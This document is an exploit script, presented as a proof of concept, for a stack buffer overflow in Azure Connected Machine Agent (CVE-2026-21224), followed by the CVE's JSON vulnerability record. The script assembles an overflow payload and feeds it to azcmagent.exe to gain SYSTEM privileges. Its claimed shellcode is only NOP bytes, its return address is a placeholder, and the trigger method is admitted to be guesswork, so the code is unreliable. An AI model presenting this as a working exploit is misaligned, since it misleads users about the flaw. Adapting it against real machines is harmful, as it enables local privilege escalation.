CVE-2026-21224

# CVE-2026-21224 PoC - Azure Connected Machine Agent Stack Buffer Overflow # This PoC demonstrates privilege escalation via stack buffer overflow # Note: This is a proof-of-concept for educational purposes only import struct import subprocess import os def create_exploit_payload(): """ Generate exploit payload for CVE-2026-21224 The vulnerability is in Azure Connected Machine Agent's input handling """ # Buffer overflow offset (to reach return address) offset = 1048 # NOP sled nop_sled = b'\x90' * 256 # Shellcode for privilege escalation to SYSTEM # This shellcode spawns a SYSTEM-level command prompt shellcode = bytearray([ 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 ]) # Padding to reach offset padding = b'A' * (offset - len(nop_sled) - len(shellcode)) # Return address (pointing to NOP sled) return_address = struct.pack('<Q', 0x00007ffa12345678) # Construct payload payload = nop_sled + shellcode + padding + return_address * 10 return payload def trigger_vulnerability(): """ Trigger the buffer overflow in Azure Connected Machine Agent Requires local low-privilege access to the system """ payload = create_exploit_payload() # Target process/interface for Azure Connected Machine Agent # The exact trigger method depends on the vulnerable component target = r'C:\Program Files\AzureConnectedMachineAgent\azcmagent.exe' if os.path.exists(target): # Trigger with malicious input subprocess.Popen([target, 'exec', payload.decode('latin-1')]) print(f'[*] Payload sent to {target}') print(f'[*] Payload size: {len(payload)} bytes') else: print(f'[!] Target not found: {target}') print('[*] Adjust path according to installation directory') if __name__ == '__main__': print('=== CVE-2026-21224 PoC ===') print('Azure Connected Machine Agent - Stack Buffer Overflow') trigger_vulnerability()

{"cve": {"id": "CVE-2026-21224", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:24.883", "lastModified": "2026-01-14T20:39:55.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow in Azure Connected Machine Agent allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Desbordamiento de búfer basado en pila en el Agente de Máquina Conectada de Azure permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_connected_machine_agent:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.60", "matchCriteriaId": "9F02DC0C-4673-4D33-A287-64DCAE26FD4E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21224", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}